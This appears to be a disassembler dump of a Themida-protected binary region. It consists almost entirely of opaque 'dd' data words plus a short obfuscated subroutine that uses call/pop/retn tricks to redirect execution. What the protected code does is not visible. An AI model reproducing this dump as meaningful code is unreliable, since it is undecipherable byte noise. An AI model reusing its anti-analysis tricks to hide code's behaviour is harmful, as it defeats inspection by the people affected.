dd 4592BDC3h, 0BFFE9726h, 7E7843A9h, 87BE9h, 0E800h, 815D0000h
dd 0FE2EF9EDh, 18C7BE07h, 0BD810149h, 7FA0719h, 7D0h, 165860Fh
dd 0B5290000h, 7FA1CB9h, 0CC59D8Bh, 5E5307FAh, 100E381h
dd 0B58B0000h, 7FA1BE1h, 1E49B58Bh, 0DB0B07FAh, 0A6850Fh
dd 6A0000h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 190424h
dd 57470000h, 172320C3h, 33E16C84h, 0FA0525BDh, 6BD8307h
dd 7FE2Dh, 35840Fh, 89510000h, 0FA13E5B5h, 9CE95F07h, 6A000000h
dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 14042444h
dd 43000000h, 0F5CC353h, 684h, 0B1858900h, 0C707FA27h
dd 0FE2D0685h, 107h, 5B9ABE00h, 60E92731h, 6A000000h, 3E85500h
dd 20000000h, 895DC35Dh, 8104246Ch, 1B042444h, 45000000h
dd 0EBA5C355h, 55A565F4h, 0B58B9836h, 7FA16A9h, 2D0685C7h
dd 7FEh, 6A0000h, 3E851h, 59200000h, 4C8959C3h, 44810424h
dd 1D0424h, 51410000h, 3FB9B6C3h, 0EDFA21Dh, 5063D742h
dd 2B55B58Bh, 8D5F07FAh, 0FA0CC59Dh, 56006A07h, 3E8h, 0C35E2000h
dd 2474895Eh, 24448104h, 1A04h, 0C3564600h, 3B931896h
dd 81D37B16h, 397EA7CFh, 0FF238103h, 6AFFFFFEh, 3E85000h
dd 20000000h, 8958C358h, 81042444h, 1C042444h, 40000000h
dd 8AF4C350h, 0DD3D7CF9h, 8BF85E52h, 0FA1F75B5h, 66F88B07h
dd 0C3F6DB8Ch, 3E840F04h, 0F000000h, 48Ch, 0D2BF6600h
dd 0A595FF28h, 8B07FA10h, 800F90F3h, 1Dh, 7E85250h, 0FF000000h
dd 0C84DB852h, 0F5FA254h, 5E931h, 78D60000h, 5A7A0536h
dd 8B905058h, 0FA1F59B5h, 42DE907h, 47BF0000h, 0B0616E9Bh
dd 0BDB53300h, 6007FA29h, 4850Fh, 0BF660000h, 9E8A68Eh
dd 5000000h, 398761D0h, 0F7AF260Dh, 615FEF8Ah, 0BE6070E6h
dd 1EDE24FFh, 4677E181h, 0E4617D0Ah, 55006A71h, 3E8h, 0C35D2000h
dd 246C895Dh, 24448104h, 1904h, 0C3554500h, 2391E3A5h
dd 0B58B5316h, 7FA0E29h, 840Fh, 81660000h, 0F4A0ED7h, 6AD8B6h
dd 3E850h, 58200000h, 448958C3h, 44810424h, 180424h, 50400000h
dd 0D7F7AC3h, 81605A1Ch, 0D5A89DE6h, 5D8D8950h, 6107FA23h
dd 6BAF78Bh, 6A000000h, 3E85500h, 20000000h, 895DC35Dh
dd 8104246Ch, 1B042444h, 45000000h, 0B817C355h, 46BE1FD8h
dd 0BD03A015h, 7FA189Dh, 8E8C38Bh, 0C6000000h, 0A2610537h
dd 816E94BBh, 394797CEh, 0E8C15E0Bh, 56006A04h, 3E8h, 0C35E2000h
dd 2474895Eh, 24448104h, 1504h, 0C3564600h, 0F76666B4h
dd 55006AE2h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1804h
dd 0C3554500h, 0ED109B9Ah, 0ED95892Dh, 6007FA2Eh, 62D8589h
dd 870F07FAh, 5, 7AF68166h, 0D82B61CFh, 0E853006Ah, 3
dd 5BC35B20h, 4245C89h, 4244481h, 1Ch, 0DC35343h, 0F64A5071h
dd 0BE71531Dh, 6880Fh, 0B50B0000h, 7FA32D1h, 241C8950h
dd 0B9D8D29h, 0B5FF07FAh, 7FA0719h, 5E9h, 0C8C08C00h, 0B58B8571h
dd 7FA1DBDh, 101995FFh, 850107FAh, 7FA2F5Dh, 0E6F800B0h
dd 53006A70h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1B04h
dd 0C3534300h, 0C5BEBCFCh, 3171FC4Ch, 8A0Fh, 71E40000h
dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 14h, 0DAC35747h
dd 7E9h, 0EA0EB700h, 0E913FCA6h, 830F613Ch, 22Fh, 0E850006Ah
dd 3, 58C35820h, 4244489h, 4244481h, 1Dh, 0B3C35040h, 0A4B4B564h
dd 2375ACBFh, 0F78B66DAh, 6AD8B60Fh, 3E85200h, 20000000h
dd 895AC35Ah, 81042454h, 1A042444h, 42000000h, 8CB7C352h
dd 1722D79h, 6890F34h, 8B000000h, 0FA16B5BDh, 6BA07h, 0FC510000h
dd 66C38B5Eh, 0E8C1F98Bh, 51006A04h, 3E8h, 0C3592000h
dd 244C8959h, 24448104h, 1D04h, 0C3514100h, 5B24E14Dh
dd 3EF53EADh, 351168Dh, 0FA30B9BDh, 0BF0F5F07h, 0E2F766F3h
dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 1Ch, 50C35242h
dd 702604CBh, 6961DAE5h, 5FF78B52h, 9D89D82Bh, 7FA2601h
dd 51006A58h, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1C04h
dd 0C3514100h, 0E19872DAh, 71A91689h, 0F88B66B4h, 880FD82Bh
dd 133h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h
dd 15h, 0C1C35545h, 0BF0FF591h, 7B9F3h, 0BE660000h, 8B665F20h
dd 0C183F9h, 6640EF81h, 0D93B096Bh, 0F5860Fh, 6A0000h
dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 1D0424h, 51410000h
dd 7CF474C3h, 2A9B046Eh, 2971B77Bh, 0FA29ED8Dh, 0A1BD8B07h
dd 6607FA11h, 0C1F6D98Ch, 0B3840F04h, 89000000h, 0FA1659BDh
dd 9BD8B07h, 0FF07FA2Bh, 0FA10A595h, 1DBD0B07h, 8107FA18h
dd 3E5E80C6h, 0BD8B5B5Ah
dd 7FA34D1h, 6AC32Bh, 3E856h, 5E200000h, 74895EC3h, 44810424h
dd 190424h, 56460000h, 4BAAE2C3h, 89A9FAE1h, 0FA2BA18Dh
dd 75958907h, 3D07FA25h, 834h, 54860Fh, 6A0000h, 3E857h
dd 5F200000h, 7C895FC3h, 44810424h, 1B0424h, 57470000h
dd 0CF86AC3h, 45F8299Eh, 0ED9D8914h, 0F807FA00h, 2AE9h
dd 56006A00h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1D04h
dd 0C3564600h, 0BFF89367h, 6ABEDBD0h, 0C08BCCA7h, 8BF98B66h
dd 6AD88BC3h, 3E85200h, 20000000h, 895AC35Ah, 81042454h
dd 1A042444h, 42000000h, 0E2E9C352h, 8DC6E95Ah, 1985C7AEh
dd 3307FA26h, 0E91A6341h, 0Dh, 318E0E73h, 9C8FD90Bh, 0DC5398Fh
dd 6AC08B7Ah, 3E85000h, 20000000h, 8958C358h, 81042444h
dd 1A042444h, 40000000h, 8BCEC350h, 0B1B4F00Dh, 8BD681A2h
dd 817DD783h, 0FA0719BDh, 7D007h, 30850F00h, 0BF000000h
dd 57583836h, 71985FFh, 6A07FAh, 3E851h, 59200000h, 4C8959C3h
dd 44810424h, 180424h, 51410000h, 0A1A5A9C3h, 8166EBABh
dd 0FF6C21DEh, 0FA0719B5h, 52006A07h, 3E8h, 0C35A2000h
dd 2454895Ah, 24448104h, 1D04h, 0C3524200h, 11F9A9EEh
dd 87E9FDCFh, 0BD8B2A71h, 7FA07A5h, 51D989BFh, 1995FF4Ah
dd 6A07FA10h, 3E85000h, 20000000h, 8958C358h, 81042444h
dd 1A042444h, 40000000h, 3BAFC350h, 55AD6B2h, 6A9056h
dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 140424h, 55450000h
dd 13E805C3h, 95000000h, 3A4436A9h, 1B086468h, 57171CB8h
dd 0D452E3D0h, 0B58918DEh, 7FA0005h, 39B5895Fh, 8B07FA1Fh
dd 0FA15B1B5h, 3D78107h, 81658525h, 0BBA12DD7h, 57006A4Bh
dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1D04h, 0C3574700h
dd 13A289B5h, 8D5D1177h, 0BD890AB3h, 7FA0185h, 287DB533h
dd 0B52907FAh, 7FA2495h, 1099B58Bh, 14E907FAh, 77000000h
dd 7AE2C96Dh, 2BAE147Dh, 43015B88h, 0E0DE2CD3h, 8B88E366h
dd 0FA239DBDh, 9D8B6007h, 7FA0F79h, 21C1B50Bh, 6E807FAh
dd 67000000h, 0C6EBDFA5h, 0D9958B2Fh, 107FA00h, 0FA233585h
dd 0B58B5B07h, 7FA298Dh, 51006A61h, 3E8h, 0C3592000h, 244C8959h
dd 24448104h, 1604h, 0C3514100h, 66EE9174h, 5F51F98Bh
dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 16h, 88C35646h
dd 0B58BEAD0h, 7FA18D1h, 0FFF7CCE9h, 52006AFFh, 3E8h, 0C35A2000h
dd 2454895Ah, 24448104h, 1504h, 0C3524200h, 0BD8BDFC4h
dd 7FA0D55h, 0FFABF0Fh, 1B89h, 8D895600h, 7FA1D7Dh, 68F68166h
dd 9E95F5Eh, 32000000h, 0D1B450DBh, 0AFA577B7h, 0CEBEC18Bh
dd 0EB6B2BD7h, 104h, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh
dd 24448104h, 1804h, 0C3564600h, 0CACA761Fh, 51F08B96h
dd 9E8h, 0C681F200h, 0A0DA9AD5h, 0F38BAF5Ah, 858D5F5Eh
dd 7FA0199h, 8E85390h, 0BB000000h, 12FB4977h, 5146A794h
dd 505F5F5Eh, 118D8990h, 6A07FA2Dh, 6E900h, 0AA280000h
dd 0B9E1E59h, 6A006Ah, 3E851h, 59200000h, 4C8959C3h, 44810424h
dd 190424h, 51410000h, 273A2DC3h, 0BE7907EFh, 7229D46h
dd 6860Fh, 9D890000h, 7FA27B1h, 38E8858Dh, 0C08307FEh
dd 0E7816605h, 60509665h, 0DE95250h, 34000000h, 0FCF17F8Eh
dd 0D1FD47A4h, 0BB3473DEh, 0BF66310Fh, 585A1CF8h, 24048961h
dd 36AFF0BEh, 8B006A12h, 0FA2D59B5h, 6A006A07h, 3E85000h
dd 20000000h, 8958C358h, 81042444h, 16042444h, 40000000h
dd 5C0CC350h, 0E995FFF3h, 8107FA2Bh, 111373EEh, 119D8D0Ah
dd 6A07FDD7h, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch
dd 1B042444h, 43000000h, 74F6C353h, 5E5C89F7h, 0C6818742h
dd 219D0281h, 5870Fh, 0A4BE0000h, 0FF56E299h, 55006AD3h
dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1604h, 0C3554500h
dd 0E9766282h, 7, 8087022Fh, 0FF90B1D2h, 0FA104985h, 84DE907h
dd 0E80000h, 5D000000h, 38F2ED81h, 6A07FEh, 3E857h, 5F200000h
dd 7C895FC3h, 44810424h, 1C0424h, 57470000h, 7C6AE5C3h
dd 0E3E08104h, 9589A622h, 7FA16C9h, 719BD81h, 7D007FAh
dd 860F0000h, 15Bh, 0E851006Ah, 3, 59C35920h, 4244C89h
dd 4244481h, 1Bh, 0E3C35141h, 2FA2CD83h, 0E9808702h, 0Eh
dd 0D4CB8056h, 70BB4E91h, 12F810A0h, 9D8B5A43h, 7FA0521h
dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 15h, 5C35646h
dd 0E38159h, 89000001h, 0FA20CDBDh, 0FDB0B07h, 8A85h, 0BE96000h
dd 1000000h, 3B035060h, 0CB48E3A6h, 8D8BF81Ch, 7FA0B89h
dd 83616061h, 0FE3778BDh, 840F0007h, 4Bh, 0E856006Ah, 3
dd 5EC35E20h, 4247489h, 4244481h, 1Bh, 23C35646h, 3285D7E4h
dd 0E91D7A82h, 50h, 0E853006Ah, 3, 5BC35B20h, 4245C89h
dd 4244481h, 1Bh, 0DDC35343h, 1F48A7B6h, 0C7868D2Eh, 0FE377885h
dd 107h, 0DD8D8900h, 0E907FA24h, 18h, 0C7F7BF0Fh, 0FE377885h
dd 7, 711DBF00h, 85890C4Eh, 7FA17EDh, 5219D8Dh, 6A07FAh
dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 190424h, 55450000h
dd 0CAAF63C3h, 3E17E59h, 0FA272DBDh, 0FF238107h, 60FFFFFEh
dd 2D858501h, 0BE807FAh, 76000000h, 9DB26053h, 0ECD77548h
dd 0DC800234h, 66615E7Bh, 6ADB8Ch, 3E857h, 5F200000h, 7C895FC3h
dd 44810424h, 180424h, 57470000h, 4D026DC3h, 0C3F6229Ah
dd 8F840F04h, 6A000000h, 3E85700h, 20000000h, 895FC35Fh
dd 8104247Ch, 15042444h, 47000000h, 0D866C357h, 4880Fh
dd 0BE660000h, 10E94948h, 0AA000000h, 3EA3C3AAh, 3B29F313h
dd 7C47BD64h, 0FF177273h, 0FA10A595h, 85BD8B07h, 8B07FA01h
dd 0FA2599BDh, 0FB8B9007h, 0C860F50h, 0F000000h, 68Dh
dd 0F525000h, 90585A31h, 0E851006Ah, 3, 59C35920h, 4244C89h
dd 4244481h, 1Ch, 6FC35141h, 770545CBh, 8FC1F563h, 25A5BD89h
dd 0CCE907FAh, 0F8000003h, 8D0F00B0h, 8, 69852960h, 6107FA08h
dd 8F0F70E6h, 0
dd 6A71E4F9h, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch
dd 1B042444h, 47000000h, 0B107C357h, 0E13C8EB3h, 0BD89EB05h
dd 7FA16F9h, 0E9D8B60Fh, 0Eh, 8C334521h, 0E28FFF95h, 7474FD90h
dd 6BA3F2Dh, 6A000000h, 3E85300h, 20000000h, 895BC35Bh
dd 8104245Ch, 15042444h, 43000000h, 3803C353h, 0E8C1C38Bh
dd 56006A04h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1404h
dd 0C3564600h, 4830F4Bh, 66000000h, 66F2C9BEh, 0AE9E2F7h
dd 0D000000h, 0EFACF9DAh, 414662B2h, 6AD82BA9h, 3E85200h
dd 20000000h, 895AC35Ah, 81042454h, 15042444h, 42000000h
dd 0A3E9C352h, 8C0F5693h, 0Dh, 8E9h, 76DAC800h, 0DFB8A45Fh
dd 66505F84h, 0F93FE8Bh, 88Eh, 0C6815000h, 108E3D4Bh, 0B5FFFC5Eh
dd 7FA0719h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h
dd 16h, 0D2C35545h, 0EE97ECBh, 2C000000h, 9C6B8B1Ch, 4477D0CBh
dd 76A614B5h, 1995FF53h, 8907FA10h, 0FA07098Dh, 5200B007h
dd 20E5B503h, 0E65E07FAh, 6071E470h, 0EB1BD09h, 8D8907FAh
dd 7FA076Dh, 0F613C61h, 26283h, 55006A00h, 3E8h, 0C35D2000h
dd 246C895Dh, 24448104h, 1D04h, 0C3554500h, 0E8F5BDEh
dd 77494BB2h, 850F32F7h, 5, 33DE8166h, 0D8B60F9Fh, 6E9h
dd 614F6300h, 0BA3999C4h, 6, 0E852006Ah, 3, 5AC35A20h
dd 4245489h, 4244481h, 19h, 0D4C35242h, 0EAA99109h, 0BFC38B27h
dd 24F9B874h, 6A04E8C1h, 3E85200h, 20000000h, 895AC35Ah
dd 81042454h, 17042444h, 42000000h, 235EC352h, 85015735h
dd 7FA2711h, 66F28B66h, 6AE2F7h, 3E851h, 59200000h, 4C8959C3h
dd 44810424h, 180424h, 51410000h, 16058C3h, 10E8BF1Ah
dd 8C000000h, 0D5D7F44Dh, 0F66191B1h, 0BCFC297Ah, 0F4CC5BEh
dd 680h, 9852900h, 5F07FA22h, 0DF81D82Bh, 4594AA37h, 69958958h
dd 2B07FA08h, 70880FD8h, 0E9000001h, 13h, 0F70ADBFCh, 8EA803CFh
dd 0E6437EABh, 8FBABF42h, 0B9BAED77h, 7, 0E853006Ah, 3
dd 5BC35B20h, 4245C89h, 4244481h, 1Ah, 0CEC35343h, 0AD5CE6B5h
dd 0BE664569h, 0C1838F46h, 0FDB50100h, 3B07FA18h, 1C860FD9h
dd 0F000001h, 8C66F2B7h, 0AD9D29D9h, 0F07FA0Ch, 0C1F6F7B7h
dd 0DB840F04h, 8B000000h, 0FA10F5B5h, 0A595FF07h, 6A07FA10h
dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 1B042444h
dd 41000000h, 0A89AC351h, 0BEDA80BFh, 6A5B9CDBh, 3E85100h
dd 20000000h, 8959C359h, 8104244Ch, 17042444h, 41000000h
dd 0B7BBC351h, 8B0F1231h, 1Dh, 0FE860h, 7CA60000h, 0C3479A20h
dd 5B2D98AEh, 0B14B5A74h, 0BD03598Fh, 7FA100Dh, 6AC32B61h
dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 14042444h
dd 47000000h, 6034C357h, 0F59BD89h, 0E8B307FAh, 1DB58B61h
dd 3D07FA26h, 834h, 30860Fh, 8D890000h, 7FA3159h, 4EE9h
dd 56006A00h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1504h
dd 0C3564600h, 8B0F5EF2h, 2, 0C08BF78Bh, 0E851006Ah, 3
dd 59C35920h, 4244C89h, 4244481h, 19h, 4C35141h, 0BE97E67Eh
dd 2FE7810Eh, 8B76C946h, 6AD88BC3h, 3E85000h, 20000000h
dd 8958C358h, 81042444h, 1D042444h, 40000000h, 0E2ECC350h
dd 534FE57Fh, 39ED646Bh, 0F61BD8Bh, 0AE907FAh, 0C4000000h
dd 5C66030Dh, 5812372Dh, 0C585C766h, 1307FA0Ch, 8952B1F1h
dd 0FA0D359Dh, 6AC08B07h, 3E85300h, 20000000h, 895BC35Bh
dd 8104245Ch, 1B042444h, 43000000h, 327FC353h, 0BA61ADA4h
dd 0BD2B1351h, 7FA2985h, 719BD81h, 7D007FAh, 850F0000h
dd 30h, 27A59529h, 85FF07FAh, 7FA0719h, 0E850006Ah, 3
dd 58C35820h, 4244489h, 4244481h, 18h, 21C35040h, 0AFDA7364h
dd 2F54BE66h, 719B5FFh, 0BF0F07FAh, 1995FFF0h, 6A07FA10h
dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 19042444h
dd 46000000h, 5ED7C356h, 0AC94416Bh, 2181BD8Bh, 8D8907FAh
dd 7FA1105h, 51006A90h, 3E8h, 0C3592000h, 244C8959h, 24448104h
dd 1904h, 0C3514100h, 0C6DD09F8h, 9D292FB9h, 7FA2B49h
dd 10E8h, 0AE7D6400h, 50B333F2h, 709E15FCh, 896288Dh, 3D95890Dh
dd 5E07FA2Ah, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h
dd 14h, 0E7C35343h, 279D8529h, 6A07FAh, 3E857h, 5F200000h
dd 7C895FC3h, 44810424h, 140424h, 57470000h, 6AE6C3h, 3E855h
dd 5D200000h, 6C895DC3h, 44810424h, 1B0424h, 55450000h
dd 7B1BD9C3h, 74EA4466h, 56006A0Bh, 3E8h, 0C35E2000h, 2474895Eh
dd 24448104h, 1504h, 0C3564600h, 13E95359h, 0C7000000h
dd 320C4C75h, 0C4204663h, 830E42Eh, 0A2335317h, 6A4365h
dd 3E850h, 58200000h, 448958C3h, 44810424h, 140424h, 50400000h
dd 0EF816EC3h, 17673F38h, 0BE66F78Bh, 0D7E93605h, 6AFFFFF7h
dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 1C042444h
dd 45000000h, 0C360C355h, 9EFAA4D1h, 8B545A0Fh, 0EBFE8BC1h
dd 104h, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h
dd 1504h, 0C3524200h, 26BE3A84h, 6A73479Fh, 3E85700h, 20000000h
dd 895FC35Fh, 8104247Ch, 1A042444h, 47000000h, 0C478C357h
dd 0B9DFC346h, 2A08BF26h, 858D16FBh, 7FA0199h, 50FEBF0Fh
dd 13E8h, 82B24F00h, 1755CCFAh, 0ED2EBF16h, 5EB3012Bh
dd 0C3A7876Fh, 6E49B860h, 16BA29C4h, 6109A6F0h, 2404895Fh
dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Ch, 3C35040h
dd 0BBD3208Bh, 463BE387h, 0E5DBD8Bh, 6A07FAh, 0E851006Ah
dd 3, 59C35920h, 4244C89h, 4244481h, 1Dh, 4EC35141h, 84F5BC49h
dd 0AFEC00CAh, 0EB83BF1Dh, 6A708Eh, 0E850006Ah, 3, 58C35820h
dd 4244489h, 4244481h, 1Dh, 33C35040h, 0E543D388h, 7EAC528Bh
dd 35B531DEh, 8D07FA1Dh, 0FE434D85h, 0D6816607h, 0C0839CB6h
dd 55006A05h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1D04h
dd 0C3554500h, 8A5BBB87h, 0A202C086h, 9589D11Eh, 7FA0061h
dd 1EADBD8Bh, 665307FAh, 0F956DF81h, 0EBE905Eh, 503444C9h
dd 52006A90h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1904h
dd 0C3524200h, 0A188E149h, 1F8B1B0h, 0FA0D059Dh, 0E8006A07h
dd 13h, 33DB7313h, 965BD74Ah, 0E266F1A9h, 4CF40401h, 0BE6AD8FDh
dd 38764877h, 6A006A5Fh, 3E85700h, 20000000h, 895FC35Fh
dd 8104247Ch, 14042444h, 47000000h, 8962C357h, 0FA00D9B5h
dd 26BF6607h, 0E995FFD4h, 6A07FA2Bh, 3E85300h, 20000000h
dd 895BC35Bh, 8104245Ch, 19042444h, 43000000h, 0F814C353h
dd 0A9519006h, 27DDBD8Bh, 9D8D07FAh, 7FDD711h, 0F7B70FF5h
dd 8B66D3FFh, 4985FFF0h, 8907FA10h, 0FA249595h, 5855BE07h
dd 0AFE95B8Bh, 0E8000007h, 0
; ---------------------------------------------------------------------------
pop ebp
sub ebp, 7FE4357h
push 0
push ecx
call sub_5C77AA
and [ecx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5C77AA proc near ; CODE XREF: Themida_:005C77A2p
arg_4 = dword ptr 8
pop ecx
mov [esp-4+arg_4], ecx
add [esp-4+arg_4], 16h
inc ecx
push ecx
retn
sub_5C77AA endp
; ---------------------------------------------------------------------------
dw 52E9h
dd 19BD8172h, 0D007FA07h, 0F000007h, 13686h, 53006A00h
dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1704h, 0C3534300h
dd 4D569CA8h, 0BFBDE681h, 9D8B3AA6h, 7FA2765h, 29D9B589h
dd 0E38107FAh, 100h, 0D9DBD03h, 0DB0B07FAh, 6A850Fh, 6A0000h
dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 170424h, 51410000h
dd 0F3BCC3h, 40BD83BFh, 7FE41h, 1C840Fh, 0BD890000h, 7FA1D31h
dd 63E9h, 0CE900h, 0B6790000h, 0D7A6275Bh, 0BAE3F8E7h
dd 85C7CD6Bh, 7FE4140h, 1, 8E950h, 0D31F0000h, 0B2BE7388h
dd 0E95E9A1Bh, 34h, 6BD7BF66h, 414085C7h, 7FEh, 6A0000h
dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1D0424h, 57470000h
dd 2D285AC3h, 0F12C3CEBh, 0FC254EB3h, 27659D8Dh, 6A07FAh
dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 1B0424h, 52420000h
dd 7E7D34C3h, 35D6573Dh, 9D8D89ACh, 8107FA22h, 0FFFEFF23h
dd 57006AFFh, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1404h
dd 0C3574700h, 25B58BFBh, 6607FA28h, 0C3F6DB8Ch, 53840F04h
dd 0FF000000h, 0FA10A595h, 3DB58B07h, 8907FA11h, 0FA31898Dh
dd 66609007h, 50CCDBBEh, 0F525052h, 0F585A31h, 5A1AB531h
dd 0F506158h, 8Bh, 6A9000h, 3E851h, 59200000h, 4C8959C3h
dd 44810424h, 160424h, 51410000h, 0B4EF9EC3h, 4799F781h
dd 0E8E97254h, 66000003h, 0B0DB6EBEh, 3DB58900h, 0E607FA2Bh
dd 56006A70h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1404h
dd 0C3564600h, 371E40Fh, 0FA2711B5h, 0FF78B07h, 0F38BD8B6h
dd 6BAh, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h
dd 1404h, 0C3534300h, 0F1BF0FCCh, 8166C38Bh, 0C1138BCEh
dd 6A04E8h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 180424h
dd 51410000h, 5012FFC3h, 0B52BFAE5h, 7FA29A9h, 6AE2F766h
dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 14042444h
dd 41000000h, 666DC351h, 0D82BF08Bh, 0B84FD781h, 89507C13h
dd 6A241Ch, 3E850h, 58200000h, 448958C3h, 44810424h, 180424h
dd 50400000h, 0B9E30DC3h, 66F98AE2h, 0FF147EBFh, 0FA0719B5h
dd 50006A07h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1A04h
dd 0C3504000h, 3893449h, 8BD71302h, 0FA0C95B5h, 0D9B58B07h
dd 0FF07FA00h, 0FA101995h, 0F6B70F07h, 6A00B0h, 3E855h
dd 5D200000h, 6C895DC3h, 44810424h, 170424h, 55450000h
dd 0B0D299C3h, 6A70E618h, 3E85500h, 20000000h, 895DC35Dh
dd 8104246Ch, 1C042444h, 45000000h, 7DAEC355h, 5FAB9520h
dd 0E9B7C6C3h, 0Ch, 0DFBF8D11h, 37ACE145h, 8973291Bh, 10E9h
dd 9304B00h, 5DC7485h, 2CB156B8h, 25C0DF14h, 6A71E490h
dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 1A042444h
dd 47000000h, 8BF6C357h, 188A0DD5h, 0F613C57h, 23283h
dd 50006A00h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1404h
dd 0C3504000h, 0D8B60F0Ch, 6BAh, 53006A00h, 3E8h, 0C35B2000h
dd 245C895Bh, 24448104h, 1404h, 0C3534300h, 0D1BD0103h
dd 8B07FA2Eh, 52006AC3h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h
dd 1504h, 0C3524200h, 0E8C1FFACh, 53006A04h, 3E8h, 0C35B2000h
dd 245C895Bh, 24448104h, 1B04h, 0C3534300h, 0BC6FCD7Eh
dd 0AAFB01A3h, 0EE9FCh, 28380000h, 0A68CCE9Bh, 0BCB6107Eh
dd 4BCB5538h, 8BE2F766h, 0FA0129BDh, 66D82B07h, 7391C681h
dd 51006A58h, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1504h
dd 0C3514100h, 0D82B0C93h, 15D880Fh, 6A0000h, 3E856h, 5E200000h
dd 74895EC3h, 44810424h, 150424h, 56460000h, 0F90AAC3h
dd 58Ah, 0C7816600h, 7B98E58h, 6A000000h, 3E85300h, 20000000h
dd 895BC35Bh, 8104245Ch, 1C042444h, 43000000h, 0FFCC353h
dd 0F32AE368h, 666CB196h, 831D95BFh, 0D93B00C1h, 0FD860Fh
dd 6A0000h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 160424h
dd 55450000h, 83E58BC3h, 8BF08B66h, 0FA2AD1B5h, 0D98C6607h
dd 0EEE8F781h, 0C1F67668h, 8C840F04h, 0F000000h, 18Eh
dd 95FFF500h, 7FA10A5h, 0E852006Ah, 3, 5AC35A20h, 4245489h
dd 4244481h, 1Dh, 77C35242h, 0DF31FA99h, 3969E907h, 4195890Fh
dd 5B07FA17h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h
dd 19h, 0A2C35343h, 0B9138C91h, 6AC32BB2h, 3E85700h, 20000000h
dd 895FC35Fh, 8104247Ch, 17042444h, 47000000h, 5EEDC357h
dd 343D17E1h, 0F000008h, 686h, 38E9F900h, 8B000000h, 52006AC0h
dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1A04h, 0C3524200h
dd 6E32F938h, 519BC322h, 61B58B51h, 5F07FA0Bh, 21BD895Eh
dd 6607FA11h, 8B1B47BFh, 23D88BC3h, 0FA30D5BDh, 0D5B58B07h
dd 0C707FA2Ah, 0FA052185h, 7C9D7307h, 0B1BD8B55h, 8B07FA0Fh
dd 56006AC0h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1B04h
dd 0C3564600h, 337B3676h, 7C1DA9EAh, 0AE9h, 0F15EBD00h
dd 172A9F8Dh, 81ED6945h, 0FA0719BDh, 7D007h, 51850F00h
dd 6A000000h, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch
dd 1D042444h, 47000000h, 220EC357h, 246C1923h, 0B6D8E904h
dd 71985FFh, 6A07FAh, 3E853h, 5B200000h, 5C895BC3h, 44810424h
dd 180424h, 53430000h, 0F2F669C3h, 0BD8BC56Bh, 7FA1569h
dd 719B5FFh, 0BE6607FAh, 95FF3168h, 7FA1019h, 6E4ABF66h
dd 0F890F90h, 66000000h, 0E9E58CBEh, 6, 79A60EBh, 8960A07Ah
dd 0FA1DADBDh, 0CB48B807h, 0F616B3Ch, 38Eh, 0F9B70F00h
dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 1Ch, 4AC35545h
dd 816C2454h, 0C07292B8h, 9E960h, 80630000h, 509EF59Eh
dd 89A1EFF1h, 0FA33F18Dh, 29BE6607h, 0BD0161C8h, 7FA1CD5h
dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 1Bh, 0FC35646h
dd 173B728Fh, 8B15AA6Ch, 0FA17D5B5h, 10E907h, 0C79D0000h
dd 8DF4534Ah, 0D090DF64h, 2C04F942h, 6ABEF9h, 3E853h, 5B200000h
dd 5C895BC3h, 44810424h, 1B0424h, 53430000h, 5BF983C3h
dd 9CB0320h, 0B5B58B9Eh, 8B07FA01h, 0FA0D69B5h, 10E807h
dd 31B70000h, 219A8212h, 494357C0h, 3C4A769Fh, 0D781111Dh
dd 53BF447h, 62DBD8Bh, 95F07FAh, 0FA2FA98Dh, 0F871E907h
dd 0BD29FFFFh, 7FA160Dh, 14850Fh, 0E8BE0000h, 0E941A5BBh
